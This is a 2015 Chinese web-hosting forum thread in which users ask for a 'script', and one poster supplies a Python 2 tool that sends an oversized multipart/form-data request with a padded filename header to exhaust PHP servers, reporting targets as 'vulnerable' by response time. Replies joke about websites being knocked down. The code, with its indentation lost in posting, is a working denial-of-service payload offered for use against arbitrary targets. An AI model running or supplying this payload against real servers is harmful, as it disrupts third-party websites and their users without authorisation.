全球主机交流论坛
标题:
测试成功 求脚本。
[打印本页]
作者:
村长
时间:
2015-5-20 19:37
标题:
测试成功 求脚本。
rt
作者:
ivv
时间:
2015-5-20 19:46
同求
作者:
b121041671
时间:
2015-5-20 19:47
提示:
作者被禁止或删除 内容自动屏蔽
作者:
adochina
时间:
2015-5-20 19:48
同求,真的想霸气一回
作者:
弘白
时间:
2015-5-20 19:48
提示:
作者被禁止或删除 内容自动屏蔽
作者:
opelnic
时间:
2015-5-20 19:50
同求
作者:
jianke
时间:
2015-5-20 19:55
不懂~~~
作者:
seny
时间:
2015-5-20 19:57
我说刚才怎么打不开,求手稿!~~
作者:
wanglighost
时间:
2015-5-20 19:59
本帖最后由 wanglighost 于 2015-5-20 20:00 编辑
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
def http_proxy(proxy_url):
proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
#end http_proxy
def check_php_multipartform_dos(url,post_body,headers):
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key,headers[key])
starttime = datetime.datetime.now();
fd = urllib2.urlopen(req,post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime=(endtime - starttime).seconds
if(usetime > 5):
result = url+" is vulnerable";
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result,usetime]
#end
def main():
#http_proxy("http://127.0.0.1:8089")
parser = OptionParser()
parser.add_option("-t", "--target", action="store",
dest="target",
default=False,
type="string",
help="test target")
(options, args) = parser.parse_args()
if(options.target):
target = options.target
else:
return;
Num=350000
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
'Accept-Encoding':'gzip, deflate',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
payload=""
for i in range(0,Num):
payload = payload + "a\n"
body = body + payload;
body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
print "starting...";
respond=check_php_multipartform_dos(target,body,headers)
print "Result : "
print respond[0]
print "Respond time : "+str(respond[1]) + " seconds";
if __name__=="__main__":
main()
摘自:http://bbs.itzmx.com/thread-9063-1-1.html
作者:
黑线
时间:
2015-5-20 20:00
wanglighost 发表于 2015-5-20 19:59
import sys
import urllib,urllib2
import datetime
Python脚本,好好好,,不知道多少网站要炸了
作者:
eatdao
时间:
2015-5-20 20:05
作者:
Dk2014
时间:
2015-5-20 20:06
我运行总有一行出错
作者:
caesar
时间:
2015-5-20 21:08
mark
作者:
wenguonideshou
时间:
2015-5-20 21:15
wanglighost 发表于 2015-5-20 19:59
import sys
import urllib,urllib2
import datetime
这只是测试脚本
作者:
lxqfff
时间:
2015-5-20 21:16
提示:
作者被禁止或删除 内容自动屏蔽
作者:
东方星雨
时间:
2015-5-20 23:09
这是打算炸网络的吗?
欢迎光临 全球主机交流论坛 (https://hostloc-workers.ikyomon.com/)
Powered by Discuz! X3.4